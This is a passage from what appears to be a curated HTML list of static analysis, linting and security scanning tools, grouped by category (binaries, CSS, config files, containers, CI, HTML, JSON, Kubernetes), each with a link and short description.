(CPG) to run its analyses concurrently in a single graph of graphs. Automatically finds business logic flaws in dev like hardcoded secrets and logic bombs</p> </li> <li> <p><a href="https://marketplace.visualstudio.com/items?itemName=SharpDevelopTeam.RefactoringEssentialsforVisualStudio">Refactoring Essentials</a> <span>⚠</span> — The free Visual Studio 2015 extension for C# and VB.NET refactorings, including code best practice analyzers.</p> </li> <li> <p><a href="https://github.com/codingjoe/relint">relint</a> — A static file linter that allows you to write custom rules using regular expressions (RegEx).</p> </li> <li> <p><a href="https://www.jetbrains.com/resharper">ReSharper</a> <span>©</span> — Extends Visual Studio with on-the-fly code inspections for C#, VB.NET, ASP.NET, JavaScript, TypeScript and other technologies.</p> </li> <li> <p><a href="https://www.ripstech.com">RIPS</a> <span>©</span> — A static source code analyser for vulnerabilities in PHP scripts.</p> </li> <li> <p><a href="https://rome.tools/">Rome</a> — Rome was a linter, compiler, bundler, and <a href="https://rome.tools/#development-status">more</a> for JavaScript, TypeScript, JSON, HTML, Markdown, and CSS. It has since been succeeded by <a href="https://biomejs.dev/">biome</a>.</p> </li> <li> <p><a href="https://rome.tools/blog/2022/04/05/rome-formatter-release">Rome Formatter</a> <span>⚠</span> — A performant and fault-tolerant code formatter for JS/TS written in Rust. Superceded by <a href="https://biomejs.dev/">biome</a>.</p> </li> <li> <p><a href="https://github.com/dotnet/roslyn-analyzers">Roslyn Analyzers</a> — Roslyn-based implementation of FxCop analyzers.</p> </li> <li> <p><a href="https://security-code-scan.github.io">Roslyn Security Guard</a> — Project that focuses on the identification of potential vulnerabilities such as SQL injection, cross-site scripting (XSS), CSRF, cryptography weaknesses, hardcoded passwords and many more.</p> </li> <li> <p><a href="https://safeql.dev">SafeQL</a> — Validate and auto-generate TypeScript types from raw SQL queries in PostgreSQL. SafeQL is an ESLint plugin for writing SQL queries in a type-safe way.</p> </li> <li> <p><a href="https://sast.online/">SAST Online</a> <span>©</span> — Check the Android Source code thoroughly to uncover and address potential security concerns and vulnerabilities. Static application security testing (Static Code Analysis) tool Online</p> </li> <li> <p><a href="http://www.scanmycode.today">Scanmycode CE (Community Edition)</a> — Scanmycode - Code Scanning/SAST/Linting using many tools/Scanners with One Report</p> </li> <li> <p><a href="https://scrutinizer-ci.com">Scrutinizer</a> <span>©</span> — A proprietary code quality checker that can be integrated with GitHub.</p> </li> <li> <p><a href="https://security-code-scan.github.io">Security Code Scan</a> — Security code analyzer for C# and VB.NET. Detects various security vulnerability patterns: SQLi, XSS, CSRF, XXE, Open Redirect, etc. Integrates into Visual Studio 2015 and newer. Detects various security vulnerability patterns: SQLi, XSS, CSRF, XXE, Open Redirect, etc.</p> </li> <li> <p><a href="https://semgrep.dev">Semgrep</a> — A fast, open-source, static analysis tool for finding bugs and enforcing code standards at editor, commit, and CI time. Its rules look like the code you already write; no abstract syntax trees or regex wrestling. Supports 17+ languages.</p> </li> <li> <p><a href="https://semgrep.dev/products/semgrep-supply-chain">Semgrep Supply Chain</a> <span>©</span> — Quickly find and remediate high-priority security issues. Semgrep Supply Chain prioritizes the 2% of vulnerabilities that are reachable from your code.</p> </li> <li> <p><a href="https://github.com/ShiftLeftSecurity/sast-scan">ShiftLeft Scan</a> — Scan is a free open-source DevSecOps platform for detecting security issues in source code and dependencies. It supports a broad range of languages and CI/CD pipelines.</p> </li> <li> <p><a href="https://github.com/google/shipshape">shipshape</a> <span>⚠</span> — Static program analysis platform that allows custom analyzers to plug in through a common interface.</p> </li> <li> <p><a href="https://www.softwareimprovementgroup.com/solutions/sigrid-software-assurance-platform/">Sigrid</a> <span>©</span> — Sigrid helps you to improve your software by measuring your system's code quality, and then compares the results against a benchmark of thousands of industry systems to give you concrete advice on areas where you can improve.</p> </li> <li> <p><a href="https://dickgrune.com/Programs/similarity_tester/">Similarity Tester</a> — A tool that finds similarities between or within files to support you encountering DRY principle violations.</p> </li> <li> <p><a href="https://snyk.io">Snyk Code</a> <span>©</span> — Snyk Code finds security vulnerabilities based on AI. Its speed of analysis allow us to analyse your code in real time and deliver results when you hit the save button in your IDE. Supported languages are Java, JavaScript, Python, PHP, C#, Go and TypeScript. Integrations with GitHub, BitBucket and Gitlab. It is free to try and part of the Snyk platform also covering SCA, containers and IaC.</p> </li> <li> <p><a href="https://sonarcloud.io">SonarCloud</a> <span>©</span> — Multi-language cloud-based static code analysis. History, trends, security hot-spots, pull request analysis and more. Free for open source.</p> </li> <li> <p><a href="https://vs.sonarlint.org">SonarLint for Visual Studio</a> — SonarLint is an extension for Visual Studio 2015 and 2017 that provides on-the-fly feedback to developers on new bugs and quality issues injected into .NET code.</p> </li> <li> <p><a href="http://www.sonarqube.org">SonarQube</a> — SonarQube is an open platform to manage code quality.</p> </li> <li> <p><a href="https://www.sonatype.com">Sonatype</a> <span>©</span> — Reports known vulnerabilities in common dependencies and recommends updated packages to minimize breaking changes</p> </li> <li> <p><a href="https://www.hello2morrow.com/products/sotograph">Soto Platform</a> <span>©</span> — Suite of static analysis tools consisting of the three components Sotoarc (Architecture Analysis), Sotograph (Quality Analysis), and Sotoreport (Quality report). Helps find differences between architecture and implementation, interface violations (e.g. external access of private parts of subsystems, detection of all classes, files, packages and subsystems which are strongly coupled by cyclical relationships and more. The Sotograph product family runs on Windows and Linux.</p> </li> <li> <p><a href="https://www.sourcemeter.com/">SourceMeter</a> <span>©</span> — Static Code Analysis for C/C++, Java, C#, Python, and RPG III and RPG IV versions (including free-form).</p> </li> <li> <p><a href="https://github.com/houqp/sqlvet">sqlvet</a> — Performs static analysis on raw SQL queries in your Go code base to surface potential runtime errors. It checks for SQL syntax error, identifies unsafe queries that could potentially lead to SQL injections makes sure column count matches value count in INSERT statements and validates table- and column names.</p> </li> <li> <p><a href="https://securityreviewer.atlassian.net/wiki/spaces/KC/pages/196633/Static+Reviewer">StaticReviewer</a> <span>©</span> — Static Reviewer executes code checks according to the most relevant Secure Coding Standards, OWASP, CWE, CVE, CVSS, MISRA, CERT, for 40+ programming languages, using 1000+ built-in validation rules for Security, Deadcode &amp; Best Practices Available a module for Software Composition Analysis (SCA) to find vulnerabilities in open source and third party libraries.</p> </li> <li> <p><a href="https://github.com/github/super-linter">Super-Linter</a> — Combination of multiple linters to install as a GitHub Action.</p> </li> <li> <p><a href="https://www.ispras.ru/en/technologies/svace/">Svace</a> <span>©</span> — Static code analysis tool for Java,C,C++,C#,Go.</p> </li> <li> <p><a href="https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html">Synopsys</a> <span>©</span> — A commercial static analysis platform that allows for scanning of multiple languages (C/C++, Android, C#, Java, JS, PHP, Python, Node.JS, Ruby, Fortran, and Swift).</p> </li> <li> <p><a href="https://www.cqse.eu/en/teamscale/overview/">Teamscale</a> <span>©</span> — Static and dynamic analysis tool supporting more than 25 languages and direct IDE integration. Free hosting for Open Source projects available on request. Free academic licenses available.</p> </li> <li> <p><a href="https://tca.tencent.com/">TencentCodeAnalysis</a> — Tencent Cloud Code Analysis (TCA for short, code-named CodeDog inside the company early) is a comprehensive platform for code analysis and issue tracking. TCA consist of three components, server, web and client. It integrates of a number of self-developed tools, and also supports dynamic integration of code analysis tools in various programming languages.</p> </li> <li> <p><a href="https://github.com/deepfence/ThreatMapper">ThreatMapper</a> — Vulnerability Scanner and Risk Evaluation for containers, serverless and hosts at runtime. ThreatMapper generates runtime BOMs from dependencies and operating system packages, matches against multiple threat feeds, scans for unprotected secrets, and scores issues based on severity and risk-of-exploit.</p> </li> <li> <p><a href="https://github.com/preslavmihaylov/todocheck">todocheck</a> — Linter for integrating annotated TODOs with your issue trackers</p> </li> <li> <p><a href="https://github.com/aquasecurity/trivy">trivy</a> — A Simple and Comprehensive Vulnerability Scanner for Containers and other Artifacts, Suitable for CI. Trivy detects vulnerabilities of OS packages (Alpine, RHEL, CentOS, etc.) and application dependencies (Bundler, Composer, npm, yarn, etc.). Checks containers and filesystems.</p> </li> <li> <p><a href="https://trunk.io">trunk</a> <span>©</span> — Modern repositories include many technologies, each with its own set of linters. With 30+ linters and counting, Trunk makes it dead-simple to identify, install, configure, and run the right linters, static analyzers, and formatters for all your repos.</p> </li> <li> <p><a href="https://github.com/Tencent/TscanCode">TscanCode</a> — A fast and accurate static analysis solution for C/C++, C#, Lua codes provided by Tencent. Using GPLv3 license.</p> </li> <li> <p><a href="https://github.com/Yelp/undebt">Undebt</a> — Language-independent tool for massive, automatic, programmable refactoring based on simple pattern definitions.</p> </li> <li> <p><a href="https://www.scitools.com">Understand</a> <span>©</span> — Code visualization tool that provides code analysis, standards testing, metrics, graphing, dependency analysis and more for Ada, VHDL, and others.</p> </li> <li> <p><a href="https://unibeautify.com">Unibeautify</a> — Universal code beautifier with a GitHub app. Supports HTML, CSS, JavaScript, TypeScript, JSX, Vue, C++, Go, Objective-C, Java, Python, PHP, GraphQL, Markdown, and more.</p> </li> <li> <p><a href="https://www.jetbrains.com/upsource">Upsource</a> <span>©</span> — Code review tool with static code analysis and code-aware navigation for Java, PHP, JavaScript and Kotlin.</p> </li> <li> <p><a href="https://www.veracode.com/security/static-code-analysis">Veracode</a> <span>©</span> — Find flaws in binaries and bytecode without requiring source. Support all major programming languages: Java, .NET, JavaScript, Swift, Objective-C, C, C++ and more.</p> </li> <li> <p><a href="https://github.com/wala/WALA">WALA</a> — Static analysis capabilities for Java bytecode and related languages and for JavaScript.</p> </li> <li> <p><a href="https://github.com/googleprojectzero/weggli">weggli</a> — A fast and robust semantic search tool for C and C++ codebases. It is designed to help security researchers identify interesting functionality in large codebases.</p> </li> <li> <p><a href="https://www.whitehatsec.com/platform/static-application-security-testing">WhiteHat Application Security Platform</a> <span>©</span> — WhiteHat Scout (for Developers) combined with WhiteHat Sentinel Source (for Operations) supporting WhiteHat Top 40 and OWASP Top 10.</p> </li> <li> <p><a href="https://github.com/fimbullinter/wotan">Wotan</a> <span>⚠</span> — Pluggable TypeScript and JavaScript linter.</p> </li> <li> <p><a href="https://developer.apple.com/xcode">XCode</a> <span>©</span> — XCode provides a pretty decent UI for <a href="https://clang-analyzer.llvm.org/xcode.html">Clang's</a> static code analyzer (C/C++, Obj-C).</p> </li> </ul> <h2>Other</h2> <h2 id="dotenv">.env</h2> <ul> <li><a href="https://www.gitguardian.com/ggshield">GitGuardian ggshield</a> — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.</li> </ul> <h2 id="ansible">Ansible</h2> <ul> <li> <p><a href="https://kics.io/">kics</a> — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible</p> </li> <li> <p><a href="https://steampunk.si/spotter/">Steampunk Spotter</a> <span>©</span> — Ansible Playbook Scanning Tool that analyzes and offers recommendations for your playbooks.</p> </li> </ul> <h2 id="archive">Archive</h2> <ul> <li> <p><a href="https://github.com/ferivoz/alquitran">alquitran</a> <span>⚠</span> — Inspects tar archives and tries to spot portability issues in regard to POSIX 2017 pax specification and common tar implementations. This project is intended to be used by maintainers of projects who want to offer portable source code archives for as many systems as possible. Checking tar archives with alquitran before publishing them should help spotting issues before they reach distributors and users.</p> </li> <li> <p><a href="https://packj.dev">packj</a> — Packj (pronounced package) is a command line (CLI) tool to vet open-source software packages for "risky" attributes that make them vulnerable to supply chain attacks. This is the tool behind our large-scale security analysis platform Packj.dev that continuously vets packages and provides free reports.</p> </li> <li> <p><a href="https://github.com/ronomon/pure">pure</a> <span>⚠</span> — Pure is a static analysis file format checker that checks ZIP files for dangerous compression ratios, spec deviations, malicious archive signatures, mismatching local and central directory headers, ambiguous UTF-8 filenames, directory and symlink traversals, invalid MS-DOS dates, overlapping headers, overflow, underflow, sparseness, accidental buffer bleeds etc.</p> </li> </ul> <h2 id="arm">Azure Resource Manager</h2> <ul> <li><a href="https://azsk.azurewebsites.net/">AzSK</a> — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.</li> </ul> <h2 id="binary">Binaries</h2> <ul> <li> <p><a href="https://github.com/angr/angr">angr</a> — Binary code analysis tool that also supports symbolic execution.</p> </li> <li> <p><a href="https://github.com/quarkslab/binbloom">binbloom</a> — Analyzes a raw binary firmware and determines features like endianness or the loading address. The tool is compatible with all architectures. Loading address: binbloom can parse a raw binary firmware and determine its loading address. Endianness: binbloom can use heuristics to determine the endianness of a firmware. UDS Database: binbloom can parse a raw binary firmware and check if it contains an array containing UDS command IDs.</p> </li> <li> <p><a href="https://github.com/Microsoft/binskim">BinSkim</a> — A binary static analysis tool that provides security and correctness results for Windows portable executables.</p> </li> <li> <p><a href="https://www.blackducksoftware.com">Black Duck</a> <span>©</span> — Tool to analyze source code and binaries for reusable code, necessary licenses and potential security aspects.</p> </li> <li> <p><a href="https://github.com/google/bloaty">bloaty</a> — Ever wondered what's making your binary big? Bloaty McBloatface will show you a size profile of the binary so you can understand what's taking up space inside. Bloaty performs a deep analysis of the binary. Using custom ELF, DWARF, and Mach-O parsers, Bloaty aims to accurately attribute every byte of the binary to the symbol or compileunit that produced it. It will even disassemble the binary looking for references to anonymous data. F</p> </li> <li> <p><a href="https://github.com/RazrFalcon/cargo-bloat">cargo-bloat</a> — Find out what takes most of the space in your executable. supports ELF (Linux, BSD), Mach-O (macOS) and PE (Windows) binaries.</p> </li> <li> <p><a href="https://github.com/fkie-cad/cwe_checker">cwe_checker</a> — cwe_checker finds vulnerable patterns in binary executables.</p> </li> <li> <p><a href="https://ghidra-sre.org">Ghidra</a> — A software reverse engineering (SRE) suite of tools developed by NSA's Research Directorate in support of the Cybersecurity mission</p> </li> <li> <p><a href="https://www.hopperapp.com/">Hopper</a> <span>©</span> — macOS and Linux reverse engineering tool that lets you disassemble, decompile and debug applications. Hopper displays the code using different representations, e.g. the Control Flow Graph, and the pseudo-code of a procedure. Supports Apple Silicon.</p> </li> <li> <p><a href="https://www.hex-rays.com/products/ida/support/download_freeware">IDA Free</a> <span>©</span> — Binary code analysis tool.</p> </li> <li> <p><a href="https://github.com/jkinder/jakstab">Jakstab</a> — Jakstab is an Abstract Interpretation-based, integrated disassembly and static analysis framework for designing analyses on executables and recovering reliable control flow graphs.</p> </li> <li> <p><a href="https://www.pnfsoftware.com/">JEB Decompiler</a> <span>©</span> — Decompile and debug binary code. Break down and analyze document files. Android Dalvik, MIPS, ARM, Intel x86, Java, WebAssembly &amp; Ethereum Decompilers.</p> </li> <li> <p><a href="https://ktool.cynder.me/en/latest/ktool.html">ktool</a> — Fully cross-platform toolkit and library for MachO+Obj-C editing/analysis. Includes a cli kit, a curses GUI, ObjC header dumping, and much more.</p> </li> <li> <p><a href="https://github.com/JusticeRage/Manalyze">Manalyze</a> — A static analyzer, which checks portable executables for malicious content.</p> </li> <li> <p><a href="https://github.com/lifting-bits/mcsema">mcsema</a> <span>⚠</span> — Framework for lifting x86, amd64, aarch64, sparc32, and sparc64 program binaries to LLVM bitcode. It translates ("lifts") executable binaries from native machine code to LLVM bitcode, which is very useful for performing program analysis methods.</p> </li> <li> <p><a href="https://github.com/horsicq/Nauz-File-Detector">Nauz File Detector</a> — Static Linker/Compiler/Tool detector for Windows, Linux and MacOS.</p> </li> <li> <p><a href="https://github.com/Shnatsel/rust-audit">rust-audit</a> — Audit Rust binaries for known bugs or security vulnerabilities. This works by embedding data about the dependency tree (Cargo.lock) in JSON format into a dedicated linker section of the compiled executable.</p> </li> <li> <p><a href="https://rustwasm.github.io/twiggy">Twiggy</a> — Analyzes a binary's call graph to profile code size. The goal is to slim down wasm binary size.</p> </li> <li> <p><a href="https://github.com/vmware/chap">VMware chap</a> — chap analyzes un-instrumented ELF core files for leaks, memory growth, and corruption. It is sufficiently reliable that it can be used in automation to catch leaks before they are committed. As an interactive tool, it helps explain memory growth, can identify some forms of corruption, and supplements a debugger by giving the status of various memory locations.</p> </li> <li> <p><a href="https://zydis.re">zydis</a> — Fast and lightweight x86/x86-64 disassembler library</p> </li> </ul> <h2 id="buildtool">Build tools</h2> <ul> <li> <p><a href="https://github.com/mrtazz/checkmake">checkmake</a> — Linter / Analyzer for Makefiles.</p> </li> <li> <p><a href="https://www.freebsd.org/cgi/man.cgi?query=portlint&amp;sektion=1&amp;manpath=FreeBSD+8.1-RELEASE+and+Ports">portlint</a> — A verifier for FreeBSD and DragonFlyBSD port directories.</p> </li> </ul> <h2 id="css">CSS/SASS/SCSS</h2> <ul> <li> <p><a href="https://cssstats.com">CSS Stats</a> — Potentially interesting stats on stylesheets.</p> </li> <li> <p><a href="https://github.com/csscomb/csscomb.js">CSScomb</a> — A coding style formatter for CSS. Supports own configurations to make style sheets beautiful and consistent.</p> </li> <li> <p><a href="http://csslint.net">CSSLint</a> — Does basic syntax checking and finds problematic patterns or signs of inefficiency.</p> </li> <li> <p><a href="https://graphmycss.com">GraphMyCSS.com</a> — CSS Specificity Graph Generator.</p> </li> <li> <p><a href="https://validator.github.io/validator/">Nu Html Checker</a> — Helps you catch problems in your HTML/CSS/SVG</p> </li> <li> <p><a href="https://github.com/katiefenn/parker">Parker</a> <span>⚠</span> — Stylesheet analysis tool.</p> </li> <li> <p><a href="https://postcss.org">PostCSS</a> — A tool for transforming styles with JS plugins. These plugins can lint your CSS, support variables and mixins, transpile future CSS syntax, inline images, and more.</p> </li> <li> <p><a href="https://www.projectwallace.com">Project Wallace CSS Analyzer</a> — Analytics for CSS, part of <a href="https://www.projectwallace.com">Project Wallace</a>.</p> </li> <li> <p><a href="https://github.com/sasstools/sass-lint">sass-lint</a> <span>⚠</span> — A Node-only Sass linter for both sass and scss syntax.</p> </li> <li> <p><a href="https://github.com/brigade/scss-lint">scsslint</a> — Linter for SCSS files.</p> </li> <li> <p><a href="https://jonassebastianohlsson.com/specificity-graph">Specificity Graph</a> — CSS Specificity Graph Generator.</p> </li> <li> <p><a href="http://stylelint.io">Stylelint</a> — Linter for SCSS/CSS files.</p> </li> </ul> <h2 id="configfile">Config Files</h2> <ul> <li> <p><a href="https://dotenv-linter.readthedocs.io/en/latest">dotenv-linter</a> — Linting dotenv files like a charm.</p> </li> <li> <p><a href="https://dotenv-linter.github.io/#/">dotenv-linter (Rust)</a> — Lightning-fast linter for .env files. Written in Rust</p> </li> <li> <p><a href="https://github.com/yandex/gixy">gixy</a> — A tool to analyze Nginx configuration. The main goal is to prevent misconfiguration and automate flaw detection.</p> </li> </ul> <h2 id="configmanagement">Configuration Management</h2> <ul> <li> <p><a href="https://docs.ansible.com/ansible-lint">ansible-lint</a> — Checks playbooks for practices and behaviour that could potentially be improved.</p> </li> <li> <p><a href="https://github.com/aws-cloudformation/cloudformation-guard">AWS CloudFormation Guard</a> — Check local CloudFormation templates against policy-as-code rules and generate rules from existing templates.</p> </li> <li> <p><a href="https://azsk.azurewebsites.net/">AzSK</a> — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.</p> </li> <li> <p><a href="https://github.com/awslabs/cfn-python-lint">cfn-lint</a> — AWS Labs CloudFormation linter.</p> </li> <li> <p><a href="https://github.com/stelligent/cfn_nag">cfn_nag</a> — A linter for AWS CloudFormation templates.</p> </li> <li> <p><a href="https://www.checkov.io">checkov</a> — Static analysis tool for Terraform files (tf&gt;=v0.12), preventing cloud misconfigs at build time.</p> </li> <li> <p><a href="https://docs.chef.io/cookstyle.html">cookstyle</a> — Cookstyle is a linting tool based on the RuboCop Ruby linting tool for Chef cookbooks.</p> </li> <li> <p><a href="http://www.foodcritic.io">foodcritic</a> — A lint tool that checks Chef cookbooks for common problems.</p> </li> <li> <p><a href="https://kics.io/">kics</a> — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible</p> </li> <li> <p><a href="https://github.com/voxpupuli/metadata-json-lint">metadata-json-lint</a> — Tool to check the validity of Puppet metadata.json files.</p> </li> <li> <p><a href="https://github.com/rodjek/puppet-lint">Puppet Lint</a> <span>⚠</span> — Check that your Puppet manifests conform to the style guide.</p> </li> <li> <p><a href="https://steampunk.si/spotter/">Steampunk Spotter</a> <span>©</span> — Ansible Playbook Scanning Tool that analyzes and offers recommendations for your playbooks.</p> </li> <li> <p><a href="https://terraform-compliance.com">terraform-compliance</a> — A lightweight, compliance- and security focused, BDD test framework against Terraform.</p> </li> <li> <p><a href="https://github.com/cesar-rodriguez/terrascan">terrascan</a> — Collection of security and best practice tests for static code analysis of Terraform templates.</p> </li> <li> <p><a href="https://github.com/wata727/tflint">tflint</a> — A Terraform linter for detecting errors that can not be detected by <code>terraform plan</code>.</p> </li> <li> <p><a href="https://github.com/tfsec/tfsec">tfsec</a> — Terraform static analysis tool that prevents potential security issues by checking cloud misconfigurations at build time and directly integrates with the HCL parser for better results. Checks for violations of AWS, Azure and GCP security best practice recommendations.</p> </li> </ul> <h2 id="container">Containers</h2> <ul> <li> <p><a href="https://anchore.io">anchore</a> — Discover, analyze, and certify container images. A service that analyzes Docker images and applies user-defined acceptance policies to allow automated container image validation and certification</p> </li> <li> <p><a href="https://github.com/coreos/clair">clair</a> — Vulnerability Static Analysis for Containers.</p> </li> <li> <p><a href="https://github.com/banyanops/collector">collector</a> <span>⚠</span> — Run arbitrary scripts inside containers, and gather useful information.</p> </li> <li> <p><a href="https://github.com/eliasgranderubio/dagda">dagda</a> — Perform static analysis of known vulnerabilities in docker images/containers.</p> </li> <li> <p><a href="https://github.com/garethr/docker-label-inspector">Docker Label Inspector</a> <span>⚠</span> — Lint and validate Dockerfile labels.</p> </li> <li> <p><a href="https://www.gitguardian.com/ggshield">GitGuardian ggshield</a> — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.</p> </li> <li> <p><a href="https://github.com/lukasmartinelli/hadolint">Haskell Dockerfile Linter</a> — A smarter Dockerfile linter that helps you build best practice Docker images.</p> </li> <li> <p><a href="https://kics.io/">kics</a> — Find security vulnerabilities, compliance issues, and infrastructure misconfigurations in your infrastructure-as-code. Supports Terraform, Kubernetes, Docker, AWS CloudFormation and Ansible</p> </li> <li> <p><a href="https://github.com/appvia/krane">krane</a> — Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its definition.</p> </li> <li> <p><a href="https://www.open-scap.org/">OpenSCAP</a> — Suite of automated audit tools to examine the configuration and known vulnerabilities following the NIST-certified Security Content Automation Protocol (SCAP).</p> </li> <li> <p><a href="https://www.qualys.com/apps/container-security">Qualys Container Security</a> <span>©</span> — Container native application protection to provide visibility and control of containerized applications.</p> </li> <li> <p><a href="https://sysdig.com/">sysdig</a> <span>©</span> — A secure DevOps platform for cloud and container forensics. Built on an open source stack, Sysdig provides Docker image scanning and created Falco, the open standard for runtime threat detection for containers, Kubernetes and cloud.</p> </li> <li> <p><a href="https://vuls.io/">Vuls</a> — Agent-less Linux vulnerability scanner based on information from NVD, OVAL, etc. It has some container image support, although is not a container specific tool.</p> </li> </ul> <h2 id="ci">Continuous Integration</h2> <ul> <li> <p><a href="https://rhysd.github.io/actionlint">actionlint</a> — Static checker for GitHub Actions workflow files. Provides an online version.</p> </li> <li> <p><a href="https://azsk.azurewebsites.net/">AzSK</a> — Secure DevOps kit for Azure (AzSK) provides security IntelliSense, Security Verification Tests (SVTs), CICD scan vulnerabilities, compliance issues, and infrastructure misconfiguration in your infrastructure-as-code. Supports Azure via ARM.</p> </li> <li> <p><a href="https://codeclimate.com">Code Climate</a> — The open and extensible static analysis platform, for everyone.</p> </li> <li> <p><a href="https://about.codecov.io/">Codecov</a> <span>©</span> — Codecov is a company that provides code coverage tools for developers and engineering leaders to gain visibility into their code coverage. They offer flexible and unified reporting, seamless coverage insights, and robust coverage controls. Codecov supports over 20 languages and is CI/CD agnostic. Over 29,000 organizations and 1 million developers use Codecov. Codecov has recently joined Sentry.</p> </li> <li> <p><a href="https://www.diffblue.com/">Diffblue</a> <span>©</span> — Diffblue is a software company that provides AI-powered code analysis and testing solutions for software development teams. Its technology helps developers automate testing, find bugs, and reduce manual labor in their software development processes. The company's main product, Diffblue Cover, uses AI to generate and run unit tests for Java code, helping to catch errors and improve code quality.</p> </li> <li> <p><a href="https://www.exakat.io">exakat</a> — An automated code reviewing engine for PHP.</p> </li> <li> <p><a href="https://www.gitguardian.com/ggshield">GitGuardian ggshield</a> — ggshield is a CLI application that runs in your local environment or in a CI environment to help you detect more than 350+ types of secrets, as well as other potential security vulnerabilities or policy breaks affecting your codebase.</p> </li> <li> <p><a href="https://goblint.in.tum.de">Goblint</a> — A static analyzer for the analysis of multi-threaded C programs. Its primary focus is the detection of data races, but it also reports other runtime errors, such as buffer overflows and null-pointer dereferences.</p> </li> <li> <p><a href="https://nitpick-ci.com">Nitpick CI</a> <span>©</span> — Automated PHP code review.</p> </li> <li> <p><a href="https://www.pullrequest.com">PullRequest</a> <span>©</span> — Code review as a service with built-in static analysis. Increase velocity and reduce technical debt through quality code review by expert engineers backed by best-in-class automation.</p> </li> <li> <p><a href="https://github.com/apiology/quality">quality</a> — Runs quality checks on your code using community tools, and makes sure your numbers don't get any worse over time.</p> </li> <li> <p><a href="https://github.com/quantifiedcode/quantifiedcode">QuantifiedCode</a> <span>⚠</span> — Automated code review &amp; repair. It helps you to keep track of issues and metrics in your software projects, and can be easily extended to support new types of analyses.</p> </li> <li> <p><a href="https://github.com/jimbethancourt/RefactorFirst">RefactorFirst</a> — Identifies and prioritizes God Classes and Highly Coupled classes in Java codebases you should refactor first.</p> </li> <li> <p><a href="https://github.com/haya14busa/reviewdog">Reviewdog</a> — A tool for posting review comments from any linter in any code hosting service.</p> </li> <li> <p><a href="https://insight.symfony.com/">Symfony Insight</a> <span>©</span> — Detect security risks, find bugs and provide actionable metrics for PHP projects.</p> </li> <li> <p><a href="https://github.com/tomasbjerre/violations-lib">Violations Lib</a> — Java library for parsing report files from static code analysis. Used by a bunch of Jenkins, Maven and Gradle plugins.</p> </li> </ul> <h2 id="deno">Deno</h2> <ul> <li><a href="https://github.com/denoland/deno_lint">deno_lint</a> — Official linter for Deno.</li> </ul> <h2 id="embedded">Embedded</h2> <ul> <li><a href="https://github.com/priv-kweihmann/oelint-adv">oelint-adv</a> — Linter for bitbake recipes used in open-embedded and YOCTO</li> </ul> <h2 id="erb">Embedded Ruby (a.k.a. ERB, eRuby)</h2> <ul> <li> <p><a href="https://github.com/Shopify/erb-lint">ERB Lint</a> — Lint your ERB or HTML files</p> </li> <li> <p><a href="https://github.com/threedaymonk/htmlbeautifier">htmlbeautifier</a> — A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.</p> </li> </ul> <h2 id="gherkin">Gherkin</h2> <ul> <li><a href="https://github.com/vsiakka/gherkin-lint">gherkin-lint</a> — A linter for the Gherkin-Syntax written in Javascript.</li> </ul> <h2 id="html">HTML</h2> <ul> <li> <p><a href="https://github.com/angular-eslint/angular-eslint#readme">Angular ESLint</a> — Linter for Angular projects</p> </li> <li> <p><a href="https://github.com/twbs/bootlint">Bootlint</a> <span>⚠</span> — An HTML linter for Bootstrap projects.</p> </li> <li> <p><a href="https://github.com/Shopify/erb-lint">ERB Lint</a> — Lint your ERB or HTML files</p> </li> <li> <p><a href="https://github.com/twbs/grunt-bootlint">grunt-bootlint</a> <span>⚠</span> — A Grunt wrapper for <a href="https://github.com/twbs/bootlint">Bootlint</a>, the HTML linter for Bootstrap projects.</p> </li> <li> <p><a href="https://github.com/tschortsch/gulp-bootlint">gulp-bootlint</a> <span>⚠</span> — A gulp wrapper for <a href="https://github.com/twbs/bootlint">Bootlint</a>, the HTML linter for Bootstrap projects.</p> </li> <li> <p><a href="https://github.com/philipwalton/html-inspector">HTML Inspector</a> <span>⚠</span> — HTML Inspector is a code quality tool to help you and your team write better markup.</p> </li> <li> <p><a href="http://www.html-tidy.org">HTML Tidy</a> — Corrects and cleans up HTML and XML documents by fixing markup errors and upgrading legacy code to modern standards.</p> </li> <li> <p><a href="https://html-validate.org/">HTML-Validate</a> — Offline HTML5 validator.</p> </li> <li> <p><a href="https://github.com/threedaymonk/htmlbeautifier">htmlbeautifier</a> — A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.</p> </li> <li> <p><a href="https://htmlhint.com">HTMLHint</a> — A Static Code Analysis Tool for HTML.</p> </li> <li> <p><a href="https://validator.github.io/validator/">Nu Html Checker</a> — Helps you catch problems in your HTML/CSS/SVG</p> </li> <li> <p><a href="https://github.com/Polymer/tools/tree/master/packages/analyzer">Polymer-analyzer</a> — A static analysis framework for Web Components.</p> </li> </ul> <h2 id="json">JSON</h2> <ul> <li> <p><a href="https://jsonlint.com/">jsonlint</a> — A JSON parser and validator with a CLI. Standalone version of jsonlint.com</p> </li> <li> <p><a href="https://stoplight.io/open-source/spectral">Spectral</a> — A flexible JSON/YAML linter, with out-of-the-box support for OpenAPI v2/v3 and AsyncAPI v2.</p> </li> </ul> <h2 id="kubernetes">Kubernetes</h2> <ul> <li> <p><a href="https://github.com/helm/chart-testing">chart-testing</a> — ct is the the tool for testing Helm charts. It is meant to be used for linting and testing pull requests. It automatically detects charts changed against the target branch.</p> </li> <li> <p><a href="https://github.com/digitalocean/clusterlint">clusterlint</a> — Clusterlint queries live Kubernetes clusters for resources, executes common and platform specific checks against these resources and provides actionable feedback to cluster operators. It is a non invasive tool that is run externally. Clusterlint does not alter the resource configurations.</p> </li> <li> <p><a 